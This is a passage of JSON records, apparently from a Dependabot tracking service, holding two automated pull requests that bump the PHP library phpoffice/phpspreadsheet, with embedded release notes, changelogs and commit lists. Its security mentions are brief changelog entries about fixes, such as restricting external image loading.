Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.5.0","new_version":"5.6.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.5.0 to 5.6.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/78a151d340b239eb8b432b0ace09c02af4499095\"\u003e\u003ccode\u003e78a151d\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into xlookup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/49035ade39047cbc60e0f09f1f22dab7c6860ee2\"\u003e\u003ccode\u003e49035ad\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e2927cfa715e9dfd0a717ab8a901095a79292a07\"\u003e\u003ccode\u003ee2927cf\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/93c94eb31d59b8248b1d510e1fb5f2f46bc77dce\"\u003e\u003ccode\u003e93c94eb\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.5.0...5.6.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.5.0\u0026new-version=5.6.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/nextcloud/forms/pull/3282","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/nextcloud%2Fforms/issues/3282","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3282/packages"},{"uuid":"4205229038","node_id":"PR_kwDOCvdZWc7P99mg","number":1,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 1.6.0 to 1.30.0","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-28T23:31:07.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-04T15:55:10.000Z","updated_at":"2026-04-28T23:31:09.000Z","time_to_close":2100957,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.6.0","new_version":"1.30.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.6.0 to 1.30.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.12\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default.[PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4545\"\u003e#4545\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4545\"\u003ePHPOffice/PhpSpreadsheet#4545\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.11\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4405\"\u003e#4405\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4405\"\u003ePHPOffice/PhpSpreadsheet#4405\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTEXT and TIMEVALUE functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003e#4249\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003ePHPOffice/PhpSpreadsheet#4249\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4352\"\u003e#4352\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4352\"\u003ePHPOffice/PhpSpreadsheet#4352\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving Columns/Rows Containing Merged Cells. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4465\"\u003e#4465\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4465\"\u003ePHPOffice/PhpSpreadsheet#4465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow Xlsx Reader to Specify ParseHuge. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003e#4260\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003ePHPOffice/PhpSpreadsheet#4260\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4515\"\u003e#4515\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4515\"\u003ePHPOffice/PhpSpreadsheet#4515\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.10\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow version 1 and 2 of \u003ccode\u003ecomposer/pcre\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eXls writer Parser Mishandling True/False Argument. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4333\"\u003e#4333\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4333\"\u003ePHPOffice/PhpSpreadsheet#4333\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls writer Parser Parse By Character Not Byte. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4344\"\u003e#4344\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4344\"\u003ePHPOffice/PhpSpreadsheet#4344\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.9\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBackported security patch for control characters in protocol.\u003c/li\u003e\n\u003cli\u003eUse Composer\\Pcre in Xls/Parser. Partial backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4203\"\u003e#4203\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4203\"\u003ePHPOffice/PhpSpreadsheet#4203\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.8\u003c/h2\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWorksheet::getHashCode is no longer needed.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBackported security patch for Html navigation.\u003c/li\u003e\n\u003cli\u003eChange hash code for worksheet. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4207\"\u003e#4207\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4207\"\u003ePHPOffice/PhpSpreadsheet#4207\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.PHPExcel.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog for PHPExcel\u003c/h1\u003e\n\u003cp\u003eThis is the historic changelog of the project when it was still called PHPExcel.\nIt exists only for historical purposes and versions mentioned here should not be\nconfused with PhpSpreadsheet versions.\u003c/p\u003e\n\u003ch2\u003e[1.8.1] - 2015-04-30\u003c/h2\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix for Writing an Open Document cell with non-numeric formula - \u003ca href=\"https://github.com/goncons\"\u003e\u003ccode\u003e@​goncons\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/397\"\u003e#397\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAvoid potential divide by zero in basedrawing - \u003ca href=\"https://github.com/sarciszewski\"\u003e\u003ccode\u003e@​sarciszewski\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/329\"\u003e#329\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eXML External Entity (XXE) Processing, different behaviour between simplexml_load_string() and simplexml_load_file(). - \u003ca href=\"https://github.com/ymaerschalck\"\u003e\u003ccode\u003e@​ymaerschalck\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/405\"\u003e#405\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix to ensure that current cell is maintained when executing formula calculations - \u003ca 